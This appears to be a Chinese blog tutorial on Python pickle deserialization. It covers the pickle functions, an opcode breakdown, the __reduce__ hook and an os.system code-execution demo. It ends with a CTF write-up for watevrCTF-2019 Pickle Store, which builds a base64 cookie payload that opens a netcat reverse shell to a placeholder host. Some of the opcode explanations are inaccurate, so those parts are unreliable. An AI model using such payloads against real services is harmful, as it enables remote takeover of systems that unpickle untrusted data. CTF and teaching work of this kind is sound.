Python Pickle反序列化

· 2088 words · 5 minute read

pickle模块介绍:Python 中的 pickle 模块实现了基本的数据序列化和反序列化。序列化是指将数据结构或对象状态转换为可以存储或传输的格式的过程,而反序列化则是这个过程的逆操作,即将存储或传输的格式恢复回原始的数据结构或对象状态。pickle 模块特别适用于 Python 对象,它可以将几乎任何 Python 对象序列化为字节流,并能够将这个字节流反序列化为原始对象。 🔗

主要函数🔗

  1. pickle.dump(obj, file[, protocol]):

  序列化对象,并将结果数据流写入到文件对象中。参数protocol是序列化模式,默认值为0,表示以文本的形式序列化。protocol的值还可以是1或2,表示以二进制的形式序列化。

  1. pickle.load(file)   反序列化对象。将文件中的数据解析为一个Python对象。

  2. pickle.dumps(obj): 把 obj 对象序列化后以bytes对象返回,不写入文件

  3. pickle.loads(bytes_object): 从 bytes 对象中读取一个反序列化对象,并返回其重组后的对象

pickle反序列化实例 🔗

简单字节的反序列化

import pickle  
serialized_bytes = pickle.dumps('bubble')  # 将整数42序列化为字节流  
print(serialized_bytes)  
unserialized_object = pickle.loads(serialized_bytes)   #反序列化
print(unserialized_object)
print(type(unserialized_object))  

输出:

b'\x80\x04\x95\n\x00\x00\x00\x00\x00\x00\x00\x8c\x06bubble\x94.'
bubble
<class 'str'>

对于b'\x80\x04\x95\n\x00\x00\x00\x00\x00\x00\x00\x8c\x06bubble\x94.':

  1. b'\x80\x04':这是 pickle 协议的版本标记,\x04表示版本为4。

  2. \x95\n\x00\x00\x00\x00\x00\x00\x00:这部分是一个长度前缀,\x95 是 pickle 中表示“BINSTRING”(二进制字符串)的 opcode,\n(即十进制的 10)表示接下来要读取的字符串长度(在这个例子中是 6 个字节,即 “bubble” 的长度)。后面的 \x00\x00\x00\x00\x00\x00\x00 是填充字节,用于对齐到 8 字节边界。

  3. \x8c\x06bubble:\x8c 是另一个表示字符串的 opcode(与 \x95 不同,它用于较短的字符串),\x06 表示字符串的长度,紧接着是字符串 “bubble” 的 ASCII 编码。

  4. \x94:这是 pickle 中的 STOP opcode,表示序列化数据的结束

类的反序列化

import pickle

class BUBBLE:
    ops='hi'
    #当创建一个类的实例并调用其方法时,Python会自动将实例本身作为第一个参数传递给该方法,这个参数在方法内部通常被命名为self
    def test(self):
            return self.ops

obj=BUBBLE()
p1=pickle.dumps(obj) #序列化
print(p1)

p2=pickle.loads(p1) #反序列化
print(p2)

输出:

b'\x80\x04\x95\x1a\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06BUBBLE\x94\x93\x94)\x81\x94.'
<__main__.BUBBLE object at 0x0000029DEFE0A0D0>
  1. b'\x80\x04\x95\x1a\x00\x00\x00\x00\x00\x00\x00':这部分是pickle协议版本和对象长度的头部信息

  2. \x8c\x08__main__\x94:这部分表示一个字符串对象,\x8c是pickle中用于表示短字符串的opcode,\x08是字符串长度的字节表示(8,即__main__的长度),__main__是字符串本身,\x94表示字符串的结束。

  3. ) :在栈上建立一个新的tuple,这个tuple存储的是新建对象时需要提供的参数,因为本例中不需要参数,所以这个tuple为空

  4. \x81:操作符,该操作符调用cls.__new__方法来建立对象,该方法接受前面tuple中的参数,本例中为空。

  5. 使用pickle模块直接打印反序列化后的对象时,看到的是对象的表示(通常是一个内存地址而不是对象内部属性的直接输出。

如果要在反序列化后看到ops的值,可以通过以下方法来实现:

方法1:定义__repr__或__str__方法

import pickle
class BUBBLE:
    ops='hi'
    def test(self):
        return self.ops
    def __repr__(self):
        return f"BUBBLE(ops={self.ops})"#在Python中,f 或 F 前缀在字符串字面量中使用时,表示这是一个格式化字符串字面量(也称为f-string),f-string允许你在字符串中嵌入表达式,这些表达式会被其值所替换。
obj=BUBBLE()
p1=pickle.dumps(obj) #序列化
print(p1)
p2=pickle.loads(p1) #反序列化
print(p2)

输出:

b'\x80\x04\x95\x1a\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06BUBBLE\x94\x93\x94)\x81\x94.'
BUBBLE(ops=hi)

方法2:直接访问对象的属性

import pickle
class BUBBLE:
    ops='hi'
    def test(self):
            return self.ops
obj=BUBBLE()
p1=pickle.dumps(obj) #序列化
print(p1)
p2=pickle.loads(p1) #反序列化
print(p2.ops)

输出:

b'\x80\x04\x95\x1a\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06BUBBLE\x94\x93\x94)\x81\x94.'
hi

__reduce__介绍

__reduce__ 方法允许你自定义一个对象如何被 pickle 序列化。这个魔术方法跟php的__wakeup差不多,就是在被序列化的时候告诉系统如何运行,但__reduce__内容可控制,而php的__wakeup则是目标环境写死。

import pickle
class Cover():
    text="123"
    def __init__(self,text):
        self.text=text
    def __reduce__(self):
        return (Cover,("bubble",))
text=Cover('blow')
p1=pickle.dumps(text)
print(p1)    
p2=pickle.loads(p1)
print(p2.text)

可以看到输出字符串是bubble

b'\x80\x04\x95#\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x05Cover\x94\x93\x94\x8c\x06bubble\x94\x85\x94R\x94.'
bubble

序列化一个对象时,如果该类定义了 __reduce__ 方法,pickle 会调用这个方法而不是尝试直接序列化对象的所有属性。该方法不带任何参数,并且应返回字符串或者一个元组,该元组的第一个元素是一个函数(或任何可调用对象,返回的对象通常称为reduce值),该函数的调用将重新创建对象,元组的其余元素是该函数所需的参数

__reduce__的返回值是tuple类型时就可以实现任意代码执行

import os
import pickle

class A(object):
    def __reduce__(self):
        cmd="whoami"
        return (os.system,(cmd,))
    
a=A()
p=pickle.dumps(a)
print(p)
pickle.loads(p)

可以看到执行反序列化操作后触发代码执行:

alt text

例题:[watevrCTF-2019]Pickle Store

打开题目如图:

alt text

抓个包看看:

alt text

看到有个cookie,base64解码得到一堆乱码:

alt text

结合题目提示知道考点是python pickle反序列化,也就是说cookie的内容是信息被序列化后经过base64加密得来的。

反弹shell:

import base64
import pickle

class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc -e/bin/sh vpsip 7777')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

靶机开启监听,将得到的字符串放入session中,就可以成功反弹shell啦!

alt text

[https://blog.csdn.net/snowlyzz/article/details/126633170?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-4-126633170-blog-116274988.235%5Ev43%5Epc_blog_bottom_relevance_base3&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-4-126633170-blog-116274988.235%5Ev43%5Epc_blog_bottom_relevance_base3&utm_relevant_index=8]

comments powered by Disqus